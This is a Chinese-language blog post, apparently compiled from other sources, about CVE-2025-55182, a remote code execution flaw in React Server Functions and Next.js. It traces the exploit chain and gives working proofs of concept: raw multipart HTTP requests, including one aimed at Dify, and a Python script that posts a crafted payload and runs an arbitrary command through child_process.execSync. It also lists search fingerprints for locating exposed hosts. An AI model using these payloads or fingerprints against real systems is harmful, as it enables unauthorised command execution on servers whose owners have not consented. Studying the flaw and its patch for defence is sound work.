1. 杨CC有话说
文章来源于:互联网,并且此文章为多个文章整合,收其精华,去其糟粕,取其真理,去其谬误,取其善良.
如有侵权,请联系本人删除
2. 详情和POC
CVE-2025-55182
此漏洞允许在 React Server Functions 中实现远程代码执行(RCE),例如通过不安全的原型引用在 Next.js 中提供的功能。
我不是 React 或 Next.js 的专家,所以请对这里的信息持保留态度。此外,我仍在分析过程中,所以下面描述的”漏洞”可能只是整个攻击链的一小部分。
背景
React 提供了 Server Functions^1,可以看作是一种基于 HTTP 的 RPC(远程过程调用)。它们可以用于从相邻节点获取数据以确保低延迟,或执行客户端缺乏凭据的身份验证请求。
React 使用称为 React Flight Protocol^2 的协议来序列化传递给 Server Functions 的值。
客户端将”块”传递给服务器,例如通过表单数据:
1 2 3 4 5
| files = { "0": (None, '["$1"]'), "1": (None, '{"object":"fruit","name":"$2:fruitName"}'), "2": (None, '{"fruitName":"cherry"}'), }
|
如上所示,这些块之间可以相互引用。上述载荷在服务器上反序列化为:
1
| { object: 'fruit', name: 'cherry' }
|
格式本身稍微复杂一些,允许更复杂的序列化和反序列化,但这为理解实际漏洞提供了基础。
漏洞
在此提交^3之前,在引用解析过程中遍历块时(例如从上面示例中的块 2 获取 fruitName),React 不会验证请求的键是否实际设置在对象上。这使我们能够获取对象原型^4。
可以通过如下载荷演示:
1 2 3 4
| files = { "0": (None, '["$1:__proto__:constructor:constructor"]'), "1": (None, '{"x":1}'), }
|
这反序列化为函数构造函数^5:
当 ID 为 0 的块不是数组而是对象时,我们可以将 then 键设置为函数构造函数。然后该对象由 decodeReplyFromBusboy 函数返回,并由 Next.js 等待:
1 2 3 4 5 6
| boundActionArguments = await decodeReplyFromBusboy( busboy, serverModuleMap, { temporaryReferences } )
|
当这返回一个 thenable 时,调用者中的 await 将调用它。使用此载荷时会发生以下情况:
1 2 3 4
| files = { "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'), "1": (None, '{"x":1}'), }
|
导致此错误:
1 2 3 4
| SyntaxError: Unexpected token 'function' at Object.Function [as then] (<anonymous>) { digest: '1259793845' }
|
错误看起来是这样的,因为 V8 使用内部的 resolve 和 reject 函数调用被 await 的函数,当 toString 时,它们序列化为类似这样的内容:
1
| function () { [native code] }
|
利用
由于我们可以轻松获取 Function 构造函数,直接的方法是找到一个调用小工具,该工具使用用户控制的值(即作为字符串的函数代码)调用构造函数,然后调用返回的函数。
有多个地方可以调用函数构造函数,例如 resolveServerReference,其中 id 是受控对象,lastIndexOf 可以被覆盖以返回用户控制的字符串(例如通过 Array.prototype.join),slice 可以被覆盖为函数构造函数。然而,这个地方不起作用,因为 .slice() 的第二次调用提供数字作为第一个参数,据我所知,这永远无法被函数构造函数处理。
这时,maple3142^6 的一个绝妙想法出现了。当 getChunk 获取 ID 为 0 的块作为开始解析引用链的根引用时,这个相同的块可以解析为一个精心制作的”假块”。
我们可以通过使用 $@ 语法在块 1 中引用精心制作的块 0,该语法返回”原始”块,而不是其解析后的值:
1 2 3 4
| case "@": return ( (obj = parseInt(value.slice(2), 16)), getChunk(response, obj) );
|
将此与我们上面的 then 覆盖结合,我们可以制作如下内容:
1 2 3 4
| files = { "0": (None, '{"then": "$1:__proto__:then"}'), "1": (None, '"$@0"'), }
|
这里,块 0 用其原始块表示的 .then() 覆盖自己的 .then()。简而言之,我们用自己的 Chunk.prototype.then 覆盖自己的 .then(),这是存在的,因为 Chunks 是 thenables:
1 2 3 4 5 6
| Chunk.prototype.then = function (resolve, reject) { switch (this.status) { case "resolved_model": initializeModelChunk(this); }
|
使用上述载荷,Chunk.prototype.then 最终被 ID 为 0 的精心制作的块调用。
如上所示,当我们假块上的 .status 为 resolved_model 时:
1 2 3 4
| files = { "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'), "1": (None, '"$@0"'), }
|
我们进入 initializeModelChunk。这里,.value 被解析为 JSON,然后在返回的对象上解析引用,使用 ID 为 0 和 1 的块的”外部”上下文:
1 2 3 4 5
| function initializeModelChunk(chunk) { var rawModel = JSON.parse(resolvedModel), value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
|
在此过程中,由于外部上下文已经解析,我们现在获得了第二次评估,可以访问更多值。
在 flight 协议中处理带有 $B 前缀的 blob 数据时有一个调用小工具:
1 2 3 4 5
| case "B": return ( (obj = parseInt(value.slice(2), 16)), response._formData.get(response._prefix + obj) );
|
使用特殊的 _response 字段,我们控制精心制作块的 response 属性:
1 2
| value = reviveModel(chunk._response,
|
有了这个,我们可以制作一个具有假 ._formData 和 ._prefix 属性的对象:
1 2 3 4 5 6 7 8 9 10 11 12
| crafted_chunk = { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": '{"then": "$B0"}', "_response": { "_prefix": f"return foo; // ", "_formData": { "get": "$1:constructor:constructor", }, }, }
|
需要添加 .reason 以避免在 initializeModelChunk 中的 toString 调用失败:
1
| var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;
|
通过将 ._formData 指向函数构造函数,._prefix 指向我们的代码,我们在 blob 反序列化中获得了一个函数构造函数的调用小工具:
1 2 3
| response._formData.get(response._prefix + "0")
Function("return foo; // 0")
|
我们精心制作的函数随后由 parseModelString 作为精心制作块的 .then() 方法返回,这也是被等待的,因为所有这些都发生在单个 promise 解析链中。因此,返回一个 thenable,我们精心制作的函数被调用。这构成了上面引用的所需调用小工具。
将所有这些与实际的 RCE 载荷结合起来,我们得到如下内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| crafted_chunk = { "then": "$1:__proto__:then", "status": "resolved_model", "value": '{"then": "$B0"}', "_response": { "_prefix": f"process.mainModule.require('child_process').execSync('calc');", "_formData": { "get": "$1:constructor:constructor", }, }, }
files = { "0": (None, json.dumps(crafted_chunk)), "1": (None, '"$@0"'), }
|
使这个漏洞更糟糕的额外好处是,所有这些都发生在反序列化期间,在 getActionModIdOrError 中首次验证请求的操作之前。因此,设置像 Next-Action: foo 这样的头就足以触发漏洞。
补丁
使用块引用检索原型属性通过此检查修复:
1 2 3 4 5 6 7 8 9 10
| @@ -78,7 +80,10 @@ export function preloadModule<T>( export function requireModule<T>(metadata: ClientReference<T>): T { const moduleExports = parcelRequire(metadata[ID]); - return moduleExports[metadata[NAME]]; + if (hasOwnProperty.call(moduleExports, metadata[NAME])) { + return moduleExports[metadata[NAME]]; + } + return (undefined: any); }
|
指纹(可以在fofa\sadang\shodan\zoomeye\google等测绘平台搜索使用)
app=”Next.js” && body=”/_next/static/chunks/app/“body=”react.production.min.js” || body=”React.createElement(“ || app=”React.js” || app=”Dify”
POC板块
原始poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| POST /apps HTTP/1.1
Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9 Content-Length: 565 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0"{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('id');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}} ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="1" "$@0" ------WebKitFormBoundaryx8jO2oVc6SWP3SadContent-Disposition: form-data; name="2" [] ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
|
dify的poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| POST /apps HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Connection: keep-alive Content-Length: 710 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad Next-Action: x X-Nextjs-Html-Request-Id: lMx9dPL6FzXWOlwazZgjx X-Nextjs-Request-Id: bafo0gfl Accept-Encoding: gzip, deflate, br
------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString();throw Object.assign(new Error('x'),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}} ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="1"
"$@0" ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="2"
[] ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
|
python poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
|
import requests import sys import json
BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000" EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "calc"
crafted_chunk = { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": '{"then": "$B0"}', "_response": { "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');", "_formData": { "get": "$1:constructor:constructor", }, }, }
files = { "0": (None, json.dumps(crafted_chunk)), "1": (None, '"$@0"'), }
headers = {"Next-Action": "x"} res = requests.post(BASE_URL, files=files, headers=headers, timeout=10) print(res.status_code) print(res.text)
|
nuclei的yaml格式poc
如果需要下载nuclei的yaml格式poc,可以在:杨CC资源站中,渗透工具 - POC\EXP板块中找到下载链接.
影响范围
- 15.0.x → 15.0.5
- 15.1.x → 15.1.9
- 15.2.x → 15.2.6
- 15.3.x → 15.3.6
- 15.4.x → 15.4.8
- 15.5.x → 15.5.7
- 16.0.x → 16.0.7若使用14.3.0-canary.77或更高canary版本,建议降级到14.x稳定版
结束语
- CTRl+D 将本网站:ycc77.com添加到书签栏哦~
- 需要资源,记得将ycc77.cn 添加到书签栏哦~
- QQ交流群:660264846(满)
- QQ交流群2:721170435
- B站: 疯狂的杨CC
- 抖音: 疯狂的杨CC
- 快手: 疯狂的杨CC
- 公众号:SGY安全
- 91: 疯狂的杨CC
- p站: 疯狂的杨CC